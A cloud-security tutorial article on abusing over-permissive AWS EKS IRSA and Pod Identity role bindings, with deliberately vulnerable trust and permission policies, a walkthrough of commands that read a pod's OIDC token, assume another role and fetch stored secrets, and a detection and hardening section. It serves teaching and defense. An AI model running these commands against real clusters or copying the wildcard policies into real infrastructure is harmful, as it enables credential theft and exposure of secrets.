AWS EKS Security: IRSA and Pod Identity

AWS EKS Security: IRSA and Pod Identity - article cover image Cloud Security
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Every pod scheduled on an Amazon EKS worker node runs on an EC2 instance that has its own IAM role, reachable at 169.254.169.254 via the Instance Metadata Service (IMDS). Before IAM Roles for Service Accounts (IRSA) existed, the only practical way for a pod to get AWS credentials was to inherit that node role — which meant every pod on the node, regardless of which team or workload it belonged to, could reach the same broad set of AWS permissions. A compromised container with network access to the node’s IMDS could simply curl the metadata service and walk away with the node’s IAM credentials.

IRSA fixes this by binding a Kubernetes ServiceAccount to a dedicated IAM role via OIDC federation, so each workload gets exactly the AWS permissions it needs and nothing more. EKS Pod Identity, released in 2023, is AWS’s newer and simpler replacement for the same problem: instead of per-cluster OIDC trust-policy plumbing, a cluster-side eks-pod-identity-agent DaemonSet vends credentials directly, and role association is done with a single aws eks create-pod-identity-association call. Both mechanisms move credential scoping from the node level to the pod level — but both are only as strong as the trust policy and IAM policy attached to the role, and both are routinely misconfigured in ways that reintroduce the exact blast-radius problem they were built to solve.

Attack Prerequisites

Abusing an over-permissive IRSA or Pod Identity binding generally requires:

  • Code execution inside some pod in the cluster — via an application vulnerability (SSRF, RCE, insecure deserialization), a supply-chain compromise of a container image, or a kubectl exec foothold from stolen credentials.
  • An IAM role trust policy that is broader than the workload it was written for — typically a wildcarded sub condition (system:serviceaccount:*:* or system:serviceaccount:<namespace>:*) using StringLike instead of an exact StringEquals match on one namespace/ServiceAccount pair.
  • No network-level restriction stopping the compromised pod from reaching the OIDC token file, the EKS Pod Identity agent endpoint, or (in legacy setups) the node’s IMDS.
  • An attached IAM policy with permissions beyond what that specific workload needs — broad s3:*, secretsmanager:GetSecretValue on *, or similar.

How It Works

IRSA works through OpenID Connect federation. Every EKS cluster has an associated OIDC issuer URL of the form https://oidc.eks.<region>.amazonaws.com/id/<CLUSTER_ID>, which must be registered as an IAM OIDC identity provider in the account. An IAM role’s trust policy then lists that provider as a Federated principal and adds a Condition restricting which Kubernetes identities may assume it, matching on <oidc-provider>:sub (expected value system:serviceaccount:<namespace>:<serviceaccount-name>) and <oidc-provider>:aud (expected value sts.amazonaws.com). On the Kubernetes side, the ServiceAccount carries the annotation eks.amazonaws.com/role-arn: arn:aws:iam::<acct>:role/<role-name>. The EKS Pod Identity webhook mutates any pod using that ServiceAccount to project a signed OIDC token into the container filesystem and inject the environment variables AWS_ROLE_ARN and AWS_WEB_IDENTITY_TOKEN_FILE (path /var/run/secrets/eks.amazonaws.com/serviceaccount/token). The AWS SDK automatically calls sts:AssumeRoleWithWebIdentity using that token to obtain temporary credentials.

EKS Pod Identity replaces the OIDC dance with a purpose-built agent. The eks-pod-identity-agent DaemonSet runs on every node and exposes a link-local endpoint that the AWS SDK’s container credential provider talks to (via AWS_CONTAINER_CREDENTIALS_FULL_URI). Role associations are stored server-side in EKS itself — aws eks create-pod-identity-association --cluster-name <cluster> --namespace <ns> --service-account <sa> --role-arn <arn> — rather than as a Kubernetes annotation, and the IAM trust policy uses pods.eks.amazonaws.com as the service principal with sts:AssumeRole and sts:TagSession, scoped by aws:SourceArn/aws:SourceAccount conditions instead of an OIDC sub claim.

In both models, the *identity* the attacker impersonates is entirely defined by the trust policy’s Condition block. The token or the agent will happily authenticate any ServiceAccount identity a pod presents; it is the trust policy on the AWS side that is supposed to enforce that only one specific ServiceAccount, in one specific namespace, may assume one specific role. When that condition is loosened with wildcards, the boundary collapses, and *any* pod in the matching namespace(s) — regardless of which ServiceAccount it was actually built for — can assume the role.

Vulnerable Code / Configuration

The enabling misconfiguration is an IRSA trust policy that uses StringLike with a wildcard instead of StringEquals pinned to one namespace and ServiceAccount:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::111122223333:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "oidc.eks.us-east-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "oidc.eks.us-east-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE:sub": "system:serviceaccount:*:*"
        }
      }
    }
  ]
}
JSON

The sub wildcard means *every* ServiceAccount in *every* namespace of the cluster satisfies the condition — a webhook’s low-privilege ServiceAccount is just as able to assume this role as the data-pipeline ServiceAccount it was actually created for. The attached permissions policy compounds the problem with resource-level wildcards instead of scoping to specific buckets or secret ARNs:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:ListBucket", "s3:PutObject"],
      "Resource": "*"
    },
    {
      "Effect": "Allow",
      "Action": "secretsmanager:GetSecretValue",
      "Resource": "*"
    }
  ]
}
JSON

The corresponding ServiceAccount annotation that wires a pod to this role looks entirely ordinary and gives no visual indication of how broadly it can be assumed:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: data-pipeline
  namespace: analytics
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::111122223333:role/data-pipeline-role
YAML

Walkthrough / Exploitation

Start by enumerating what ServiceAccounts and role bindings exist in the cluster from any position with kubectl access, or from inside a compromised pod using its own mounted token:

kubectl get sa -A -o yaml | grep -B5 'eks.amazonaws.com/role-arn'
kubectl auth can-i --list --as=system:serviceaccount:analytics:data-pipeline
Bash
# From a shell inside ANY compromised pod that mounts a service-account token
kubectl exec -it victim-pod -n webapp -- /bin/sh

# IRSA-mutated pods carry these automatically:
echo $AWS_ROLE_ARN
echo $AWS_WEB_IDENTITY_TOKEN_FILE
cat $AWS_WEB_IDENTITY_TOKEN_FILE
Bash

With the OIDC token in hand, call sts:AssumeRoleWithWebIdentity directly against the target role ARN. If the trust policy’s sub condition is wildcarded, the STS call succeeds even though webapp/victim-pod‘s ServiceAccount was never the one the role was designed for:

aws sts assume-role-with-web-identity \
  --role-arn arn:aws:iam::111122223333:role/data-pipeline-role \
  --role-session-name pwn \
  --web-identity-token file://$AWS_WEB_IDENTITY_TOKEN_FILE

export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

aws s3 ls
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/db/credentials
Bash

If the cluster instead uses EKS Pod Identity, the same idea applies against the agent’s local credential endpoint rather than STS directly — the injected AWS_CONTAINER_CREDENTIALS_FULL_URI and AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE are read by the SDK to fetch temporary credentials for whichever role is associated with the pod’s namespace/ServiceAccount pair, so a loosely scoped association (or a shared ServiceAccount across many workloads) produces the same over-reach without any explicit trust-policy wildcard.

Note: This is not limited to s3 and secretsmanager — the technique works against whatever the attached IAM policy grants: RDS IAM auth tokens, KMS decrypt for other teams’ data, ECR pull/push, or iam:PassRole chains that lead to further escalation. Always check the full attached policy, not just the trust policy, when scoping the blast radius.

Opsec: sts:AssumeRoleWithWebIdentity calls are logged in CloudTrail with the SourceIdentity/principalId reflecting the federated subject, which usually still shows the *real* ServiceAccount that authenticated — so this technique is loud in CloudTrail even though it is invisible from the Kubernetes audit log’s point of view. Expect the session name and source IP (the node’s IP, not the attacker’s) to be the main artifacts.

Detection and Defense

The fix is almost always to make the trust policy and the attached permissions as narrow as the workload actually requires:

  • Scope the OIDC sub condition with StringEquals, not StringLike, to one exact system:serviceaccount:<namespace>:<name> — never wildcard the namespace or ServiceAccount.
  • Use eksctl create iamserviceaccount or Terraform’s IRSA modules to generate least-privilege trust policies by default instead of hand-editing JSON.
  • Prefer EKS Pod Identity for new workloads — associations are explicit per-namespace/ServiceAccount records managed by EKS itself, with no OIDC condition syntax to get wrong, and aws:SourceArn/aws:SourceAccount bound trust conditions by default.
  • Attach resource-scoped IAM policies (specific bucket/secret ARNs, Condition blocks) instead of Resource: "*", so even a successfully assumed role has a small blast radius.
  • Enforce IMDSv2 with --http-put-response-hop-limit 1 on node launch templates so a compromised pod cannot reach the node’s own IAM role via IMDS as a fallback path.
  • Alert on CloudTrail AssumeRoleWithWebIdentity events where the SourceIdentity or subject doesn’t match the expected ServiceAccount for that role, and enable GuardDuty’s EKS Protection / Runtime Monitoring findings for anomalous credential use inside the cluster.

Real-World Impact

Over-scoped IRSA trust policies are one of the most common findings in EKS security assessments — teams copy a working StringLike example from documentation or a blog post without narrowing it, or reuse one “convenience” ServiceAccount across many deployments, quietly reintroducing the node-IAM-role blast radius that IRSA was designed to eliminate. Because container compromise (via SSRF, deserialization bugs, or a poisoned image) is common and IAM privilege escalation from a single pod to broad S3 or Secrets Manager access is high-impact, this pattern is consistently flagged in cloud penetration tests and CSPM tooling as a critical misconfiguration.

Conclusion

IRSA and EKS Pod Identity both solve the right problem — binding AWS credentials to a specific pod’s identity instead of the whole node — but the security boundary lives entirely in the IAM trust policy’s condition and the attached permissions, not in the mechanism itself. Pin trust policies to exact namespace/ServiceAccount pairs, keep attached policies scoped to specific resources, prefer Pod Identity’s simpler association model for new workloads, and monitor CloudTrail for AssumeRole activity that doesn’t match the expected workload identity.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL